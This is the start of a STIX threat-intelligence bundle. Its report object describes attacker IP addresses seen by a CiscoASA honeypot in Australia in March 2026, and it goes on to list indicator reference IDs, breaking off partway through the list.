{
  "id": "bundle--aa66900b-c5a2-4eeb-9755-aa5875ffa6f9",
  "objects": [
    {
      "created": "2026-03-01T01:20:06.701Z",
      "created_by_ref": "identity--ab072f15-9b87-4ee1-898f-b584d41f29b0",
      "description": "IPv4 addresses observed by CiscoASA honeypot events on T-Pot, aggregated for this calendar month. Deduped to unique sources; private IPs excluded. Location: Australia. Caveat: request lines alone cannot distinguish scan vs successful exploit; device memory inspection is required to confirm compromise.",
      "id": "report--aa66900b-c5a2-4eeb-9755-aa5875ffa6f9",
      "labels": [
        "threat-report"
      ],
      "modified": "2026-03-31T20:20:13.178Z",
      "name": "CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "object_refs": [
        "identity--ab072f15-9b87-4ee1-898f-b584d41f29b0",
        "indicator--6637a688-f9d0-406d-af67-7bd23d8c179c",
        "indicator--e939ac4e-641e-4395-bfee-aead3897db3e",
        "indicator--ec81762b-7cff-40b7-9519-bd40bb4e65af",
        "indicator--49ee4130-2033-47d0-b56a-f3a817c7094c",
        "indicator--3f9bb0f1-69af-47ee-9736-6f39161e4fcf",
        "indicator--27b3f278-db57-47cd-a056-39842c1ef1a7",
        "indicator--bc4d559c-b41a-4f98-b6ce-91b3aff3d5d0",
        "indicator--47289d23-f5fd-4328-b6ba-a1baa23ebe02",
        "indicator--4ab8b129-5e64-4eb3-aa2b-eddf823da1b9",
        "indicator--4768e658-2c4c-4294-ad7d-3feb824d4350",
        "indicator--cded6b0a-f596-47f4-bb89-8d1d9360182c",
        "indicator--3e6dbe7d-67f8-463f-8bfa-46c63171ca2b",
        "indicator--4e512a48-8b54-4ec0-913b-79fcd6c954c1",
        "indicator--2d804448-25af-4750-b9a4-0abc3c6bdff5",
        "indicator--b734e707-ea5f-4bc1-a6c8-27137232fc04",
        "indicator--38079a31-1976-41da-8b19-0a85d823b168",
        "indicator--4a90e90b-a560-4fce-8ce0-ef63ce4fbf91",
        "indicator--b3938a56-0af1-4c4f-a345-26d3a33b363e",
        "indicator--c5456180-de42-4ce8-9820-36b742740aa6",
        "indicator--da40fe12-0e46-4306-a4a6-7fb291eb6cf3",
        "indicator--e87370b5-a40c-4dda-b7a3-79eb8c13519a",
        "indicator--ced9537a-7ba3-4275-833d-afbc4462a8f3",
        "indicator--05ea9191-5e0c-47e2-b766-f44f4ebd54d8",
        "indicator--b22347a9-9743-42da-9a87-65eb7512779d",
        "indicator--46a3bc73-7c1f-4a2d-9593-462207dff9c1",
        "indicator--0ef48a76-5771-4d83-832a-c3ac9464f84c",
        "indicator--c6d452fb-b9c6-4cc3-8132-18982531daf3",
        "indicator--096a68c3-1166-477e-ba08-71caec8379f1",
        "indicator--221c2636-d37a-4ec1-a6c0-678c58f6dcf5",
        "indicator--5fed55a9-36e0-437c-ad7a-30c1b64460b1",
        "indicator--37ae065c-4338-4a81-b2df-f98eea18f855",
        "indicator--ccefb793-fd0c-4afc-bd67-db9f0a74b268",
        "indicator--48244dce-db9d-45ca-b890-7c0a3202c81c",
        "indicator--5ea55090-6b56-4ff0-bec0-435bc5cae114",
        "indicator--77ccc73a-6210-4fec-8751-73d93742f2d5",
        "indicator--1323abcc-0536-48c9-8f68-64ac373365f9",
        "indicator--5bbb6653-ace2-4952-8231-0abe20df5e08",
        "indicator--1638756e-978a-4e34-b1e1-8b54dee2064a",
        "indicator--8808d3b5-7c96-406e-8f9a-7c4dc5e46f65",
        "indicator--95ad3ab5-7bfe-4e5b-bdd4-b09c7fa7cef1",
        "indicator--d7d5433c-f24b-44e7-9f25-dc8a04ded954",
        "indicator--dc93b1fd-9e55-49c3-a32d-1cbe5d6a138b",
        "indicator--14009342-e46b-4b98-9b53-3b17d90a3d36",
        "indicator--c24c96d3-1995-47f4-a6f0-760b969dae0c",
        "indicator--e64b0dd2-331a-4c9b-be8f-a3a7ed9a911c",
        "indicator--84f85f91-858d-4e4b-a38f-fcf649534a37",
        "indicator--a84ed5e5-f535-4823-9c23-615d6667c355",
        "indicator--9ab3333a-4b7f-4246-bca2-e95bfa03400f",
        "indicator--7baa5176-c9f3-4a40-89d6-8bbabcf1a4fb",
        "indicator--cdc2b746-51e3-4453-bbe6-9f667db7c070",
        "indicator--5a808743-fe60-4918-8e87-94505dd1656b",
        "indicator--aebf13fc-03d6-4f7a-9126-072871441bed",
        "indicator--b47f5304-57a4-460a-896c-719b22c56291",
        "indicator--d9617e34-5827-44f4-8aa1-75cead576862",
        "indicator--ffa2558a-5fc1-49a5-82d9-dce38237a61f",
        "indicator--2a7c4707-a0ef-454f-ba7e-3bc9e7cec03e",
        "indicator--638e24b9-a18c-4a30-89a9-d4c3f1b77b35",
        "indicator--019e465b-6221-4882-9bec-a08dd19313b9",
        "indicator--ed4be67b-5aa4-4190-a299-347b419740a1",
        "indicator--cbffc5d6-7ad7-47a5-a460-1aed91d077f9",
        "indicator--4d0ffc38-c6f1-4aa9-8db4-3ed3a31490de",
        "indicator--8a00660e-fc19-4b81-85c2-22e33f9c2df2",
        "indicator--3c5519d7-dd65-4a67-8832-5addb58d59f8",
        "indicator--b46a7449-3310-4c87-a276-005fdcbd6021",
        "indicator--7cc1312f-3133-4b10-bfeb-94dc0ca7f673",
        "indicator--91eb7e22-3f78-46b0-8882-1a6a0cb4f672",
        "indicator--e2279554-6d61-4a3a-a615-90ead5d02040",
        "indicator--2df9296d-7f1f-4e35-948b-a0d90862b3d1",
        "indicator--e0e6067f-3dca-4acb-854f-b8b5a42c592a",
        "indicator--c2b25aac-b2b4-4fbf-930d-cd1725e2b6c2",
        "indicator--744d4afd-b1e1-44bc-b756-5105edb64d33",
        "indicator--bc190fb7-e989-4aac-97d7-9196511e2703",
        "indicator--6517d458-7505-426d-b098-5a27587a962b",
        "indicator--8eb6ca79-3d4a-4af4-8b4a-e2a31e2c4b1c",
        "indicator--193d2722-3e33-400c-8dd1-f4d8010e7a2e",
        "indicator--ddc9d0a6-82aa-4a4f-b559-203bb2b3d35d",
        "indicator--81f4e5aa-5a10-46a7-a65e-325ad61fe5bb",
        "indicator--9626343b-6020-44f5-aa91-fd2cadca3c2f",
        "indicator--788e1e14-6fe0-4aae-9c18-86cbb7f2474b",
        "indicator--1ea9e386-3cfa-4007-8501-5ce146f3301f",
        "indicator--32453398-a809-4236-86be-ebd77e06c5ec",
        "indicator--6b64859f-be45-4835-9fe1-cf1028433437",
        "indicator--2c552eaf-6fc2-45a7-89c3-ba7082ebe0f0",
        "indicator--198cd619-fcc0-46dd-b437-00f6f118292d",
        "indicator--11d148f0-5a41-403a-af98-444e06ae8913",
        "indicator--889d01bc-c7a5-4179-be83-7022715816be",
        "indicator--e8765305-2da7-4c72-9c50-12b6b3055c2b",
        "indicator--bae5ef84-afb3-46bb-b775-70bf78cd802b",
        "indicator--e8697644-8d67-4ea9-808f-db6c2ff4a36e",
        "indicator--0a70c5b6-4efb-4f65-b9c1-baea0615176a",
        "indicator--95b5bc94-d295-4610-aa73-6d37f762e662",
        "indicator--db81c215-aa54-46a7-991f-e56e29be14b4",
        "indicator--00c3341c-e9a0-4ad9-856c-a0c4a7bf14aa",
        "indicator--cbae1715-03f1-4b03-9c28-42ca1b21b690",
        "indicator--222dd31c-2066-490d-9bc9-8e893247e03d",
        "indicator--91a0d99d-eab0-4a77-aab4-f9ad96d61fe5",
        "indicator--bb4256cc-f34e-4a8b-b818-7d7006030e0a",
        "indicator--8eb07d97-89bc-4a63-aa01-4d870364b9b9",
        "indicator--8bfcfabc-d734-4292-848b-d936ff7fc5e1",
        "indicator--6a4cf02f-4f5c-42a7-a890-cbec26368e05",
        "indicator--3c3285c9-ccb4-46e0-9626-43602c04098a",
        "indicator--efba957b-3746-4c21-aabc-4c6bdc5c74a8",
        "indicator--4977cd9a-b390-462c-a211-7be4cb850f0e",
        "indicator--aa08b597-1a22-470c-add8-a70c9da75b7c",
        "indicator--a0bd1a2a-dafc-4bcf-87cc-69bf53f0537b",
        "indicator--6face142-5525-47fe-9bfc-ce797db0f2cc",
        "indicator--ae3458c3-7bc3-4a68-aa5f-9337f2f583c2",
        "indicator--01455fbf-3b68-433f-871b-b74502b4ae96",
        "indicator--785781be-e8d3-4038-9bca-03978c76cb69",
        "indicator--33084719-dfd5-499e-b210-92940aa30a5c",
        "indicator--7f04d81c-4b0c-441c-9b2c-f67c677fb8ad",
        "indicator--ff050f0a-e32a-4ed3-a913-3cffb06f5eb1",
        "indicator--3447eb8b-c1c9-42df-bd7a-ae5ffb03bd82",
        "indicator--0384b633-48d6-4425-b6b6-2e9c20ebe6cb",
        "indicator--ac6f0033-f222-4574-bef7-cfef2f6a289e",
        "indicator--117ee56d-c4ea-4616-972a-a295ce22aa29",
        "indicator--554bd795-1eb5-4919-8664-a39fdf382d72",
        "indicator--02b4da24-bfb9-47ec-aed2-656008d46523",
        "indicator--c0ab3647-e544-4347-8ecc-b9f6ad1505dd",
        "indicator--3e257495-b689-400d-8ca7-b07930c4bcb8",
        "indicator--eab75e74-ed72-4efe-86ae-d1caf6c7b9c1",
        "indicator--484b6993-ac08-4d96-a39a-5a4b04ece8b2",
        "indicator--60da2ccf-5ef2-4d2c-bf88-a40d19ac1fad",
        "indicator--9f36a1a4-3f8d-428d-aa06-02b816510394",
        "indicator--f1ce2ece-d59b-4580-8397-0a6483e0aa76",
        "indicator--1327664e-cd31-455d-b94a-a957deb8a848",
        "indicator--e7504330-b5d6-4e44-9dd8-36caa7c5a215",
        "indicator--1af1e9d5-1ce5-4871-91fb-50b21f5cb83a",
        "indicator--39bb51e8-9c01-49cb-a2bf-52c608a6f5f5",
        "indicator--e41150e9-068a-43da-b47b-c66157a06df8",
        "indicator--194c1243-35f0-4d60-9316-05087c42882d",
        "indicator--e3cf37aa-d19b-42f1-be27-e90b52504982",
        "indicator--08620171-a554-4338-b8a4-8d393d441a83",
        "indicator--b2b9014b-27b0-4743-a7ef-e92170446e51",
        "indicator--b7fa5d27-9bb2-443b-8a85-1777b2dd8e9e",
        "indicator--a7a04ed8-9187-4fb9-a5ac-f77e27d4bff3",
        "indicator--909c01bd-feb4-4ae6-874a-75075b3e6aa3",
        "indicator--7c45a322-6a31-4634-9478-66db807a3e75",
        "indicator--80509897-54d4-4766-83b7-bef003b52f76",
        "indicator--703aa7fc-13a3-490a-817e-e45b1d462e6e",
        "indicator--77dbb507-cd87-4493-b19e-43c95fb57437",
        "indicator--6a0c1d08-8a33-40eb-8313-59409de8c405",
        "indicator--2f3dfeb5-f446-4f85-acda-c4518b26789c",
        "indicator--4e155764-3848-4e58-894b-52a98fb958b3",
        "indicator--82940bc6-7717-45a1-833f-b757ba0c24d7",
        "indicator--e04e7ff5-a1e3-4602-baa5-d17c11160d61",
        "indicator--13ecf10f-8617-47b2-9025-52da2e0290b2",
        "indicator--e1eee194-08b0-4dc9-af56-166941c394a5",
        "indicator--dacc2c77-7176-4bf2-bbef-e4f8fb424478",
        "indicator--82ac691f-7fb0-4036-a578-fac91a5b1337",
        "indicator--168653ee-334d-4471-b081-79c8c1b05626",
        "indicator--59187425-6bd5-4a85-9f6b-458c4fb2ac96",
        "indicator--3e7f98a3-344e-489b-b032-223c0a886b3b",
        "indicator--653977e4-4221-4e55-9ce5-a337fa97c5d6",
        "indicator--b585b270-8c08-44d2-9d06-13f43eaac074",
        "indicator--cf88d7f4-4508-4d97-9ed8-d6c8215dedf3",
        "indicator--66950415-1504-410d-8011-4eb94db48743",
        "indicator--a4810244-97bd-4bc3-91f8-b0978258f1d7",
        "indicator--26b464c4-0b6a-4baf-bc7f-1ecf114c2453",
        "indicator--51104d9c-45a6-4a7e-b121-033e34c17c1f",
        "indicator--c8d7f83e-5f8d-42ba-99ed-cdb3b5ded5c8",
        "indicator--2f5d8c1a-798c-49bb-b66d-24eae2f52e86",
        "indicator--ac07b1b3-e2fa-4b39-88f8-64bdb1cfe66e",
        "indicator--452385b4-1786-4952-8a4f-91d60e3462be",
        "indicator--1c1f6392-9f4d-4cd6-b996-f0617f154ddc",
        "indicator--8b8c39bf-d96f-4ef6-be2c-10c79e31b100",
        "indicator--d3fbf911-a96c-4cf4-a07b-416e8f9123a3",
        "indicator--91d26817-ed19-4da2-8f34-126998459e8e",
        "indicator--6902a184-062a-4bd5-8709-a46ef9b4fa0b",
        "indicator--0e162f98-1a2b-4207-bb7a-f63edb90107c",
        "indicator--3fd075a7-9ac8-4fc7-8a85-be1d33e855f8",
        "indicator--fed2ad95-cbaa-4956-a2ba-31f9748c76c2",
        "indicator--a0310af9-c39d-4d7f-b109-9bd48cfe4f72",
        "indicator--a6c1b244-aa25-4f57-90fb-825a07aa78a7",
        "indicator--41136621-067a-490c-a5b4-b9025ddce255",
        "indicator--f6c7a377-977b-42d5-a8cb-e773627a7385",
        "indicator--e4be04ac-a5b4-4641-86c1-7f5576075df8",
        "indicator--172d96e0-afc3-4643-b039-6e54dd8c9102",
        "indicator--2079b724-e8e5-4010-9e92-9b40fcef05fe",
        "indicator--bcd12670-3d08-44db-bd96-fa573a80c1da",
        "indicator--dd94a255-d016-4e72-b90d-96adc539d1f2",
        "indicator--97828de1-62ff-4edf-8c34-885e9d8053fd",
        "indicator--a1afa33e-c76e-436c-afe5-4cbfd1dcf1e1",
        "indicator--0f0c2d1e-800b-4df9-95f4-62c1327354b1",
        "indicator--c2711a5a-319b-4ea6-bf35-ba784e6b20a8",
        "indicator--077052b5-b7b8-44a8-a15a-85153cf11193",
        "indicator--c6f33ef5-4977-4740-be9a-3eaa05754aab",
        "indicator--77d629ca-aaf3-4787-918c-f9195687a239",
        "indicator--ea6fa25f-39c7-40c1-9de6-ef3cde78eed2",
        "indicator--137b29b5-e297-43ce-a988-6dca1b0e2c7d",
        "indicator--31f9ea7f-9c5a-4769-bb2a-03017ea62c4f",
        "indicator--edec7014-fcc3-4475-a3ba-fd17ac0edc55",
        "indicator--b73c3b75-f81f-44ca-8ccd-6f08abb7282d",
        "indicator--f671a987-67dc-4a90-9f2e-d916bfaa713d",
        "indicator--8c35ec8b-ab55-4db4-afb4-3f8455207af4",
        "indicator--2647209f-6441-4373-8064-6f9c8f492f5d",
        "indicator--8b9ca2f1-23c5-4a2a-8678-a2fc18dbd232",
        "indicator--d37b157c-3cb0-4b4c-bec9-b98f6fd2b930",
        "indicator--95cf8188-f2cd-4fae-a585-e37b43651388",
        "indicator--fe2fd1bd-db1a-4bd5-bc66-f023090c0816",
        "indicator--e482bcba-4809-4b02-97ab-175d683befe1",
        "indicator--fed3a61e-8415-4737-a73c-0d7fd1f0d60b",
        "indicator--288e9699-7ee2-415f-aaf9-9b850e2ce191",
        "indicator--34986040-5e0d-4dbf-b6e8-3d9a97098f04",
        "indicator--835d8321-4a92-4944-a74b-7ec349bf418b",
        "indicator--efa16785-05e8-4162-a92b-9709ebda2e11",
        "indicator--ad6d4167-6223-421d-b6bd-16f91c58d764",
        "indicator--942fb03b-8f55-4810-8f92-f4a29042625d",
        "indicator--444f8775-8618-4e4d-a67a-02ec03793b6c",
        "indicator--40b0e6ad-060b-4d0b-8532-a43648859ec8",
        "indicator--91abe904-a74a-4fa2-86bd-7d94128c9186",
        "indicator--d597d4ec-0f03-451c-92fa-99ae42c1a590",
        "indicator--c3476a1b-426b-4841-ba44-7eee0cd6f06e",
        "indicator--edfc8aab-9b46-4757-97d9-b233f247c6aa",
        "indicator--895cc8b4-1d06-4f79-8e38-e14715e2c6cb",
        "indicator--8c75279a-ccb9-4cca-904c-153412cf0b4e",
        "indicator--06370de5-de2a-4fa0-b32c-873bbc47ba6d",
        "indicator--4661806a-8b8b-40fb-a975-f6347c826f1e",
        "indicator--7addefed-a638-438b-b58a-7d9e24b14d96",
        "indicator--cd58c7a6-1e7a-4948-b605-0661d1ffa283",
        "indicator--570bf82c-48a3-4b14-a9aa-52b2f125725a",
        "indicator--4df3f566-1f14-45d1-a092-721a589074a4",
        "indicator--d562191e-5e39-46cb-8e1c-ab59a6c3c8e8",
        "indicator--b7d0f0cb-da4d-4717-86a6-4640c6cc1933",
        "indicator--772c43ae-c695-4fcc-9aad-4a14c1ec9ec1",
        "indicator--0daf1a46-a413-452d-8029-bdba033aa0ae",
        "indicator--3f9957e0-db35-4f19-bd79-634fff6b22f8",
        "indicator--6dd10c72-72f2-4c5a-a6c1-c34e4c0e46c1",
        "indicator--30768490-d267-4a2b-b1bf-15504eb6f2b7",
        "indicator--fb84b985-35aa-4bf3-9339-85120f51ef93",
        "indicator--5d5fa7a8-798f-494b-832a-b5056b51ae60",
        "indicator--65a3cbfb-bad0-49f4-bc93-fec4dfca4617",
        "indicator--5b2832c4-7014-49bd-b1f6-6c75ee0a2082",
        "indicator--a7db6242-593b-483d-902e-b927caaf9e00",
        "indicator--4c1760b8-4525-49c1-8524-c6692afffa4b",
        "indicator--25bbf1c2-736f-45ce-8ab2-15d0c2181605",
        "indicator--575a205d-bfa1-4400-ac77-3c4f6b0d87e2",
        "indicator--22944f68-715e-4047-b729-95c67333898b",
        "indicator--dce746ee-66ff-4fbc-b091-611ec38d3416",
        "indicator--302c64ec-2c55-4aa8-b3fb-621a6fdfe7d9",
        "indicator--27939290-cbd5-41d5-b362-af4ebf8a6ab4",
        "indicator--f107f797-e83d-4f12-84fd-e20a871af737",
        "indicator--18a8ff99-c2d0-44ab-b17a-86459d55138e",
        "indicator--ae8f883c-c59d-4ccf-ac97-743bbdac2999",
        "indicator--37beed0b-ea4f-4543-8f04-b1b6139bcecc",
        "indicator--a6ea6fbd-6dbb-468f-8006-9ecba45a02ad",
        "indicator--c58f9964-24a5-4d36-a18c-b76ff8c4903f",
        "indicator--9e701fe9-cb84-4d6a-a42a-5eed8fa3b934",
        "indicator--da95820a-82f3-4fd2-8c4d-24cfd4e811cd",
        "indicator--5d1cadf9-e6b1-4d04-b0d1-f989ac6f27f2",
        "indicator--579fa1c7-0475-401b-9323-47f01b7948c1",
        "indicator--4367f8cc-845d-498e-a552-ceca80cf8725",
        "indicator--a2e878ff-8029-475a-a768-2a1b63469fe9",
        "indicator--714cb436-d667-4983-bf26-9d8ea0df23aa",
        "indicator--b79a2911-3237-474f-9f68-ba7eacd4fbb3",
        "indicator--133a2431-bc66-4887-b6a4-ea24f21a290c",
        "indicator--4403fb3d-ff72-4548-8f6b-f2d1ed784115",
        "indicator--16964857-567a-4f50-b58d-387795c83d6e",
        "indicator--e7a43fb6-f179-42c0-9dae-523e08081aee",
        "indicator--0d489ad7-834e-4ff3-8b4d-26e682b39275",
        "indicator--09b7133e-918c-48b3-a50a-b11c97f695c5",
        "indicator--7bd658d1-ad42-446c-8814-c04721dd5014",
        "indicator--2a309144-15f3-4eb1-be0b-f393d7029dfd",
        "indicator--68d644e3-d93f-4e36-bca2-176a81010829",
        "indicator--d399dcc8-8738-42b1-8277-160a6895342f",
        "indicator--40317f30-ef03-4ac7-aa37-3088379794f6",
        "indicator--7b45c904-6ddc-4ed5-880f-2c2846ce8027",
        "indicator--bab610e9-6cfe-4c83-8a09-9aa336e6d882",
        "indicator--4de8bbff-f984-4d9e-b242-341fedb6523f",
        "indicator--36514f23-5670-4d3a-abe8-3a787f54e6cf",
        "indicator--301e86a3-f632-494a-8ceb-fd44118b5710",
        "indicator--1a1d90a5-761a-4189-8776-9d371e4a6b00",
        "indicator--d8c432d5-538c-4589-aedf-2fa075336075",
        "indicator--6fea38f2-48e1-4765-a27a-2d87e887fd9e",
        "indicator--5c983f85-df06-4a96-8761-4b37cd13e45e",
        "indicator--cb92cea1-060d-482e-88e1-952af433cf82",
        "indicator--3593831c-c840-46d2-ace9-8e1015d440e2",
        "indicator--3ccc8c65-26ea-45da-acb1-7376967518c6",
        "indicator--addce225-99a2-4b2a-b733-57de89ce355e",
        "indicator--17306128-c07f-40d7-9b4f-601469c71210",
        "indicator--dcce7845-59a0-4df3-8372-74ffe998678e",
        "indicator--bf8fc26b-f0aa-4349-ad11-8a013558f958",
        "indicator--892932a3-66d1-45a4-b885-ff485b6c917f",
        "indicator--86671c85-6ab9-496e-a31b-d07dafb67213",
        "indicator--d1bdf4fa-03c3-4425-84f1-b38adfffeec7",
        "indicator--69103f7f-8bb8-4320-8f31-23d8d237ff1e",
        "indicator--8be5d4f2-2465-4a2f-9c98-ca73bc20b517",
        "indicator--92b2037b-f091-4a8b-9ded-cba3642036ea",
        "indicator--2259a7ae-bf8a-4448-814b-e4e249c3a0ad",
        "indicator--68d3b2d5-38c9-4fa6-a00e-681da3e2d903",
        "indicator--70dec905-af76-421e-bbe5-feb2dc9586bc",
        "indicator--96ae7489-58a2-4d70-bf01-f8a74be6c784",
        "indicator--482d75be-57a7-485e-a733-5f7f1c5eb6f9",
        "indicator--f465b2cd-8f22-46f2-869a-ff125a4cc6c8",
        "indicator--167af2fd-5a66-4ce3-8891-8b32b9373046",
        "indicator--4a3525aa-51b9-4214-9931-836e67cd319a",
        "indicator--5673d296-b69b-4724-b033-7a02f1cbb90c",
        "indicator--74b7d640-29b1-49bd-8b43-b01938278611",
        "indicator--5607362d-1a85-4dde-a180-9407fa276198",
        "indicator--7fe2ec60-bed8-48c6-a54e-3a24f13936a9",
        "indicator--39349796-c889-4573-8936-33213e4dad2f",
        "indicator--14199dee-946c-4030-96c0-f78a988ea38b",
        "indicator--56b7b4ba-f5c2-45cc-8f1c-957ea03a6816",
        "indicator--bb4f14ab-ac8f-47d7-ab31-eda1b813e990",
        "indicator--f8f4fec9-946a-4c42-bcdf-25d6f1bc13fa",
        "indicator--15710d81-0f1f-4204-9b1f-189395ca563f",
        "indicator--4e30c505-4b0a-4f4e-8ca3-95a2a97a9869",
        "indicator--415ab00b-b1fc-465f-a502-c7fb01f32c52",
        "indicator--bcb31c96-ede6-4253-8214-b0eecde4b88c",
        "indicator--520ad52b-f06e-4d40-9b17-841a9cd52b5c",
        "indicator--5274e960-d121-489c-87a3-92850493a2d4",
        "indicator--81bc11ca-07ed-4350-b5aa-3952d4357f47",
        "indicator--c6c3d5a6-c6ab-477c-96e0-ca1ec4493d80",
        "indicator--5e44cc05-2fe4-432b-9964-3f6e362183fb",
        "indicator--5a5a6a33-157d-4db9-8134-adeb932fed14",
        "indicator--19a174a7-f5c4-48a4-a78e-89558f36519d",
        "indicator--38ec0345-51da-4144-9816-545b366fb01a",
        "indicator--83ff0094-a497-41dc-8edf-363f42dca0b6",
        "indicator--d4c022d3-29dd-4599-bcce-a68ec8c5fcf1",
        "indicator--8491adbf-536a-445e-8d79-c972e274da0e",
        "indicator--eaebd6c9-3be1-450a-b46e-304875015596",
        "indicator--442a663c-4f25-4c57-b512-b0650dce17a7",
        "indicator--6da13d90-6bbc-48bb-af9f-1c3c87edaec0",
        "indicator--d821c922-f232-4d64-8303-b5664388a2b2",
        "indicator--28ef5c1b-dc7b-4a1f-a9f5-43a4e0fdef4c",
        "indicator--51edd777-92b6-4571-a16c-5e72651206c2",
        "indicator--8e957f90-2154-4574-89c2-0cd465b3c0cf",
        "indicator--9da46e4a-fead-4c39-b03d-e0fec4827c76",
        "indicator--4c6cdbc8-a164-4dcf-a731-377acf8050e0",
        "indicator--d00d0e50-1eb0-41b7-bbf3-b227d5a7c73d",
        "indicator--5086dcd5-ed2c-44e1-9e33-f32234fa2969",
        "indicator--d1c8d585-456e-4948-b5bc-f110a1c2b127",
        "indicator--3bdf1e3e-cdef-4ae9-941f-ea9250c44bc7",
        "indicator--0cf49ea8-9e89-4b92-90c6-a2de6bac2695",
        "indicator--8f337b79-69b0-46c0-b7ce-ebd31734e123",
        "indicator--79fed81a-5e18-47eb-bc38-e5605fc56b90",
        "indicator--4a51b112-4e25-41db-916c-c459bf164dee",
        "indicator--5c68dcb0-3ef6-4d04-af84-504dab216e8d",
        "indicator--8cd54ffa-f4e6-4179-9bbc-455a371f0f5e",
        "indicator--0e6f4557-bab7-4315-a42e-6d2ed61ed4c6",
        "indicator--8cbcaff7-d079-4bbe-8c88-addf7779e554",
        "indicator--c385dce5-2f14-4871-bb0d-46308162644c",
        "indicator--829eba47-a798-4493-bed2-1bf53b27ec20",
        "indicator--f862750a-1364-4ac3-8d4a-d0cb0fca9f7d",
        "indicator--1298de79-32e1-4bc1-804f-4d524406a09a",
        "indicator--c2f65c96-0b0f-4dc0-a649-0e6c14b13b9c",
        "indicator--95d00fad-7dec-4a9b-a27b-23389fd20b46",
        "indicator--edc25553-f305-472e-9a7c-bab6172cf2da",
        "indicator--b36f21a6-f0da-4572-b8fa-e00fb2c6bb34",
        "indicator--21504122-28ce-4699-8c86-61d3168596e3",
        "indicator--1e2b69ff-6dea-414e-b458-a2ce0349d0ac",
        "indicator--30e45f43-1b61-4caf-8280-e76c688818f8",
        "indicator--e24ca14f-f0ab-4e51-aa9f-aa709568f719",
        "indicator--3ba6d152-df65-4510-b221-685c9092d15e",
        "indicator--aba1845d-4e41-4418-b51d-9220e7ee36c8",
        "indicator--6c02515c-3acd-4d81-816f-b03ebb82f90d",
        "indicator--71e189f7-6939-44c1-8cd6-297f08b00d9f",
        "indicator--57489dca-195c-47b2-8653-8c63d2512424",
        "indicator--99d2a1de-ca25-4a52-859f-2854426a8cde",
        "indicator--75b46f72-88f0-4b07-ab64-c3b14dadb840",
        "indicator--bedb1fbf-c710-43b9-9d90-3cf778c3d423",
        "indicator--807ce508-98da-4f29-9dee-aead1c4e0882",
        "indicator--108855e5-9554-4e1e-8488-08f5b70567bb",
        "indicator--2506c8b2-e16e-4f88-a82e-717cf4e29fcc",
        "indicator--0b64d904-e2e9-4f1e-aab4-b06d32fbe3be",
        "indicator--8e3da791-c442-4e92-8bf0-e5d132c1efc7",
        "indicator--36e58692-0d1e-4451-ad98-71362373831d",
        "indicator--3abaad2c-182f-4770-a27e-0038e8dd6c98",
        "indicator--de6b5ab4-eb34-4fd7-af5b-d2efee7d8a19",
        "indicator--7b1b3903-ba5f-40b5-9d4e-7f5a1dfaaff5",
        "indicator--afb3b5f6-d5f8-4862-bf8b-8cb4d3b1a378",
        "indicator--9fcac7e4-bdaf-4d4e-acef-477230052070",
        "indicator--d5db5bd8-6888-4593-8039-05c081e9809c",
        "indicator--5bf3fc7d-64d8-487b-845c-e55cc88a604b",
        "indicator--22a7a87b-5642-410e-b4ad-a5b430bde964",
        "indicator--ca45eeab-ae3d-4014-b5ff-ce5b2f648771",
        "indicator--38dc3419-16ce-4014-b561-1c2548b65478",
        "indicator--67ba9bc4-56c3-4e20-9328-a2b15461a67a",
        "indicator--6312e82a-c0fc-498b-b746-b7b404aebe50",
        "indicator--16df48a0-e289-405d-9a2f-c90eb7a9391a",
        "indicator--92ca091d-2fdb-49eb-abfa-3cab754ffb27",
        "indicator--40f61673-2a3a-41cc-b760-9784a9c65f06",
        "indicator--cedb9a46-af44-4d86-96f7-387df08add82",
        "indicator--6638973b-aaa5-408b-8dd3-ffc388da24b7",
        "indicator--bd3362bf-e101-4294-9998-f6b523e16909",
        "indicator--63df01e2-44a4-42dd-ae9e-1dc502271bb2",
        "indicator--23ccd765-aa25-43cf-aaca-08189ddec76f",
        "indicator--69913dd3-44f8-4e4b-9966-3dd7f3d8b32c",
        "indicator--a01666cb-bea7-4cfb-bd74-80af47c1b904",
        "indicator--bf68335f-386f-4092-bc6e-dca10b3c4e0f",
        "indicator--cce07206-0ff3-4584-9701-4dae2bce741c",
        "indicator--36ea5911-b6dd-4424-b365-5db0d5db5b45",
        "indicator--59ca7c29-7c3c-4be7-a5d7-a70629a29b0e",
        "indicator--1a7280f4-d8af-48a0-b413-6bf1e8fbdb1a",
        "indicator--f6501789-c6ff-40a7-b0e3-5472f19b5158",
        "indicator--5ea5a271-9e38-4f11-993f-d7263f528e0e",
        "indicator--36ebf076-36e4-43e6-9459-14a2b358867b",
        "indicator--7b658355-6d92-4ec3-80d5-273f72381969",
        "indicator--5eb3457e-aaf1-4b05-be55-aef6e046df8d",
        "indicator--9d4d3268-8865-48d7-a841-d9ad7baeeae8",
        "indicator--5ccfc3ea-8b68-4de8-93f4-550d9d1a829f",
        "indicator--8d541bff-f3c1-4a5f-8cbe-9874ce3b7012",
        "indicator--01af71f2-51ba-4c15-b313-d7ae433a1c33",
        "indicator--bbafbd18-f68f-4f7d-85df-53f5861fce62",
        "indicator--c9c4f3f8-25c6-4e08-9b1b-1c6411cacc6c",
        "indicator--a0cf983b-e79c-4c1b-b1b4-d4a97393d7d6",
        "indicator--e74786f0-a6d0-40d1-8000-5303f63dd7d0",
        "indicator--29c03648-c88f-4eb9-87fd-09158011ac44",
        "indicator--1bbd68c8-8fd7-4fc7-897f-bb775468bce8",
        "indicator--f59b38d3-bed4-468d-a38a-1d1ce0b113fd",
        "indicator--918fc7b2-2e3b-4beb-8f0a-73ff7df0ec67",
        "indicator--549b2ccc-a783-49f8-b59c-9ad2d718897b",
        "indicator--7f67f571-e6cf-4152-ace0-88bcc3058f51",
        "indicator--dadd106e-0b37-4767-b603-a024f56d69ca",
        "indicator--c71aa55a-2457-4b86-8f7b-352de9d7496f",
        "indicator--5ed391d6-686a-49ec-b900-de578c232106",
        "indicator--7a115470-acf7-4ac3-845b-b79f20b6bf37",
        "indicator--628aa683-0502-4f65-bb82-73627833e20d",
        "indicator--08b1415a-9b43-448a-b793-9f2998843b87",
        "indicator--5451586e-92e5-495f-8e28-f1c63c7839f3",
        "indicator--83e480bf-9b79-4e34-b094-21479653f99a",
        "indicator--4160a70b-768b-4dde-99a4-8a4f282c695d",
        "indicator--c631e4a5-4f8b-4152-bcd0-df724bf8e61c",
        "indicator--10693c6a-014e-4e7b-b4ce-c3e486972df2",
        "indicator--f043e006-4db4-44fe-825c-1644300ecd5d",
        "indicator--f5125f37-6596-49de-a7fa-54debf14937f",
        "indicator--19b56ff7-d5b7-4dcf-8e24-acff27ff989e",
        "indicator--c1a85d5a-4b46-4025-acbe-902d5ad4fcb1",
